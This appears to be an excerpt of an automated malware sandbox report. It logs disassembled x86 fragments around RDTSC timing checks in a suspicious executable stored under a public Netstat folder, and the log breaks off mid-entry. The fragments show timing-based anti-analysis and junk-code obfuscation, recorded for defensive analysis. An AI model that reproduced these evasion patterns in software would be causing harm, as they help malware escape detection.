Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C519 second address: 128C523 instructions: 0x00000000 rdtsc 0x00000002 js 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C523 second address: 128C529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C529 second address: 128C52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1294806 second address: 129481B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D10h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1293408 second address: 129340E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 129340E second address: 129341F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D06h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1293863 second address: 129386D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12939E0 second address: 12939E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12944A1 second address: 12944A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12944A7 second address: 12944AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12A0485 second address: 12A049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FCCB120DFDFh 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12A0355 second address: 12A0359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BCEA4 second address: 12BCEBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB120DFDDh 0x00000009 jp 00007FCCB120DFD6h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BCEBB second address: 12BCEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BCEBF second address: 12BCEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FCCB120DFE8h 0x00000010 push esi 0x00000011 jmp 00007FCCB120DFDAh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BD005 second address: 12BD00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BD00B second address: 12BD012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D3DC5 second address: 12D3DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4340 second address: 12D4371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FCCB120DFD6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 jmp 00007FCCB120DFDFh 0x00000016 jne 00007FCCB120DFDCh 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D45FC second address: 12D4600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4600 second address: 12D4606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D473B second address: 12D4757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB0D02D0Ch 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4757 second address: 12D475B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D475B second address: 12D4763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4763 second address: 12D476D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCCB120DFDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4C26 second address: 12D4C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4C2C second address: 12D4C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE1h 0x00000007 je 00007FCCB120DFE2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8EA1 second address: 12D8EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8F51 second address: 12D8F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8F56 second address: 12D8F71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCCB0D02D0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007FCCB0D02D18h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8F71 second address: 12D8F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8F75 second address: 12D8F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D91F9 second address: 12D91FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D91FF second address: 12D9272 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCCB0D02D0Ch 0x00000008 jc 00007FCCB0D02D06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 call 00007FCCB0D02D0Ah 0x00000018 mov dword ptr [ebp+1376B668h], ebx 0x0000001e pop edx 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007FCCB0D02D08h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b mov edx, 4894D800h 0x00000040 mov edx, 45814DE9h 0x00000045 call 00007FCCB0D02D09h 0x0000004a jl 00007FCCB0D02D10h 0x00000050 jmp 00007FCCB0D02D0Ah 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D9272 second address: 12D9276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D9276 second address: 12D9280 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D9280 second address: 12D92CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e jmp 00007FCCB120DFDEh 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCCB120DFE8h 0x0000001f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D92CB second address: 12D92CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D92CF second address: 12D92D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12DAF65 second address: 12DAF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12DAF69 second address: 12DAF71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12DCB25 second address: 12DCB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1029288 second address: 102929F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCCB120DFD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jne 00007FCCB120DFD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B332C second address: 11B334B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FCCB120DFD6h 0x00000011 jmp 00007FCCB120DFDEh 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3497 second address: 11B34DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE6h 0x00000007 jmp 00007FCCB120DFE2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCCB120DFE5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B34E1 second address: 11B3504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FCCB120DFD6h 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3504 second address: 11B352D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FCCB0D02D0Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007FCCB0D02D06h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCCB0D02D0Fh 0x0000001f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3AA6 second address: 11B3AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FCCB0D02D06h 0x0000000a jmp 00007FCCB0D02D0Dh 0x0000000f jo 00007FCCB0D02D12h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3ACB second address: 11B3AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FCCB0D02D06h 0x0000000c jmp 00007FCCB0D02D10h 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71C5 second address: 11B71F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007FCCB120DFE4h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71F0 second address: 11B7255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FCCB0D02D06h 0x00000009 ja 00007FCCB0D02D06h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jbe 00007FCCB0D02D16h 0x0000001c jmp 00007FCCB0D02D10h 0x00000021 pop eax 0x00000022 jmp 00007FCCB0D02D13h 0x00000027 lea ebx, dword ptr [ebp+138F1FBEh] 0x0000002d sub dword ptr [ebp+13763309h], edx 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FCCB0D02D16h 0x0000003b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B72DA second address: 11B7302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB120DFDEh 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B7302 second address: 11B7353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 32357646h 0x0000000e mov dl, ah 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FCCB0D02D08h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov cx, A4EFh 0x00000032 push 00000003h 0x00000034 xor dword ptr [ebp+13763676h], edx 0x0000003a push B7BDBA2Fh 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FCCB0D02D0Dh 0x00000047 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B7454 second address: 11B74D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 4FFF7F21h 0x00000013 or edx, 744D09E7h 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+1376B64Bh], edx 0x00000021 mov edx, dword ptr [ebp+13762C74h] 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FCCB0D02D08h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 mov dword ptr [ebp+13762DB2h], edx 0x00000049 push 00000003h 0x0000004b jmp 00007FCCB0D02D12h 0x00000050 mov esi, dword ptr [ebp+1376375Fh] 0x00000056 push 7E2282CDh 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B74D5 second address: 11B750E instructions: 0x00000000 rdtsc 0x00000002 je 00007FCCB0D02D08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 41DD7D33h 0x00000013 mov edi, 4C09BFCFh 0x00000018 lea ebx, dword ptr [ebp+138F1FD2h] 0x0000001e pushad 0x0000001f mov dword ptr [ebp+1376310Bh], eax 0x00000025 mov esi, dword ptr [ebp+137621E6h] 0x0000002b popad 0x0000002c mov dword ptr [ebp+13763676h], edi 0x00000032 push eax 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 pop eax 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B750E second address: 11B7529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCCB120DFE4h 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C9722 second address: 11C973C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB0D02D16h 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C973C second address: 11C975C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jnl 00007FCCB120DFD6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6AA5 second address: 11D6ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCCB120DFDAh 0x0000000b popad 0x0000000c jc 00007FCCB120DFDCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6ABE second address: 11D6AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FCCB0D02D08h 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6AD1 second address: 11D6AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDCh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D74AA second address: 11D74E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB0D02D0Ch 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FCCB0D02D06h 0x00000010 popad 0x00000011 jmp 00007FCCB0D02D0Eh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FCCB0D02D0Ch 0x00000020 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D76A1 second address: 11D76B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Ch 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D7831 second address: 11D785B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D15h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCCB0D02D0Bh 0x0000000e js 00007FCCB0D02D06h 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11CAD3B second address: 11CAD51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Ch 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11CAD51 second address: 11CAD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB120DFE2h 0x00000009 jmp 00007FCCB120DFE1h 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1195A1C second address: 1195A42 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCCB0D02D18h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCCB0D02D0Ah 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D83FE second address: 11D8408 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D86B3 second address: 11D86C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jne 00007FCCB120DFD6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E398F second address: 11E399E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E654E second address: 11E655C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E655C second address: 11E65A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jo 00007FCCB0D02D08h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FCCB0D02D12h 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c js 00007FCCB0D02D2Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FCCB0D02D18h 0x00000029 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E65A9 second address: 11E65F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FCCB0D02D08h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov di, bx 0x00000024 push 907B0369h 0x00000029 push eax 0x0000002a push edx 0x0000002b jne 00007FCCB0D02D1Ch 0x00000031 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6906 second address: 11E6914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCCB120DFD6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6A9D second address: 11E6AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7409 second address: 11E741D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FCCB120DFD8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E76F9 second address: 11E7703 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E7703 second address: 11E7724 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FCCB0D02D14h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E8787 second address: 11E8817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCCB0D02D06h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007FCCB0D02D0Ch 0x00000014 jnp 00007FCCB0D02D06h 0x0000001a jp 00007FCCB0D02D0Ch 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007FCCB0D02D08h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c jmp 00007FCCB0D02D14h 0x00000041 pushad 0x00000042 mov dh, 60h 0x00000044 mov dword ptr [ebp+13762927h], edi 0x0000004a popad 0x0000004b push 00000000h 0x0000004d mov edi, ecx 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+13761905h], ecx 0x00000057 xchg eax, ebx 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 